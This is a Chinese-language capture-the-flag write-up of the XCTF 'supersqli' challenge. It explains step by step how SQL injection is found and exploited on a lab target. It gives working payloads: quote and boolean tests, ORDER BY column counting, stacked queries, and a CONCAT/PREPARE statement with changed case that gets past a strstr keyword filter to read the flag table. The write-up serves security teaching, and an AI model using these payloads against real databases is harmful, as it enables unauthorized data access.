XCTF-supersqli
题目描述随便注
打开链接,查看源码
看来没办法使用sqlmap了,采用手注⑧
判断是否存在sql注入漏洞
最为经典的一种判断方法是单引号判断法
即在参数后面加上单引号,如下
http://220.249.52.133:53805/?inject=1'
如果页面返回错误,则存在sql注入
原因是字符型或者是整型都会因为单引号个数不匹配而报错
尝试注入,的确存在注入漏洞
判断注入漏洞的类型
注入漏洞分为两种类型
- 数字型
- 字符型
数字型判断
数字型sql语句一般如下
select * from <table_name> where inject = x
可以通过and 1=1 和 and 1=2进行判断
- 在url中输入
http://220.249.52.133:53805/?inject=1 and 1=1
返回正常,接着下一步
- 在url中输入
http://220.249.52.133:53805/?inject=1 and 1=2
如果返回错误,即说明为数字型注入
尝试后发现仍然正常,说明该处不是数字型注入
解释一下
如果为数字型注入,当输入and 1=1
时,执行的sql语句如下
select * from <table_name> where inject=1 and 1=1
无语法错误且逻辑判断为真,返回正常
当输入and 1=2
时,执行的sql语句如下
select * from <table_name> where inject=1 and 1=2
无语法错误但逻辑判断为假,返回错误
如果此题为字符型注入,产生的sql语句如下
select * from <table_name> where inject= '1 and 1=1'
select * from <table_name> where inject= '1 and 1=2'
这样的话并不会进行and的逻辑判断,所以这道题应该是字符型注入
字符型判断
字符型sql语句一般如下
select * from <table_name> where inject = 'x'
可以通过and ‘1’='1 和 and ‘1’='2进行判断
- 在url中输入
http://220.249.52.133:53805/?inject=1' and '1'='1
返回正常,接着下一步
- 在url中输入
http://220.249.52.133:53805/?inject=1' and '1'='2
返回错误,该题为字符型注入
获取列数
输入1' order by 1#
,即表示 所select的字段按第一个字段排序
正常
输入1' order by 2#
,正常
输入1' order by 3#
,报错
得出这张表只有两个字段,数据为两列
尝试联合查询
union运算符可以将两个或两个以上的select语句的查询结果集合合并成一个结果集显示,即执行联合查询。需要注意的使用union查询的时候需要和主查询语句的列数相同,刚才我们查询得出列数为2
输入1' union select database(),user()#
- database()会返回当前网站所使用的数据库名字
- user()会返回执行当前查询的用户名
结果如下
发现这里过滤了一些语句,无法再进行查询了
堆叠注入绕过过滤
堆叠注入:堆叠查询可以执行多条SQL语句,语句之间以分号(;)隔开。而堆叠查询注入攻击就是利用此特点,在第二条语句中构造自己要执行的语句。
我们尝试查询所有的表名
输入1';show tables#
可以发现这里有两张表,分别再查询两张表中的列
通过desc table_name
语句可以查询一张表中的所有字段
输入1';desc `1919810931114514`#
,注意这里为反引号
输入1';desc `words`#
很显然,flag在第一张表中
查询flag
这里采用的是预编译的方式
介绍一下预编译的语法
PREPARE stmt_name FROM preparable_stmt
EXECUTE stmt_name
[USING @var_name [, @var_name] ...] -
{DEALLOCATE | DROP} PREPARE stmt_name
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
举个例
mysql> PREPARE stmt FROM 'SELECT ?+?';
Query OK, 0 rows affected (0.01 sec)
Statement prepared
mysql> SET @a=1, @b=10 ;
Query OK, 0 rows affected (0.00 sec)
mysql> EXECUTE stmt USING @a, @b;
+-----+
| ?+? |
+-----+
| 11 |
+-----+
我们已经了解了预编译的用法,接下来再使用堆叠注入
这里采用了CONCAT来绕过select的过滤
payload为
1';set @sql = CONCAT('sele','ct * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
发现这里还过滤了set以及prepare
需要注意的一点是这里使用了strstr对set和prepare关键字进行了检查,但是strstr检查不对大小写进行检查,所以这里可以通过大小写绕过,set和prepare关键字只要有一个是大写就可以绕过
1';set @sql = CONCAT('Sele','ct * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
得到flag如下
下一篇: php 字符串函数收集_PHP
推荐阅读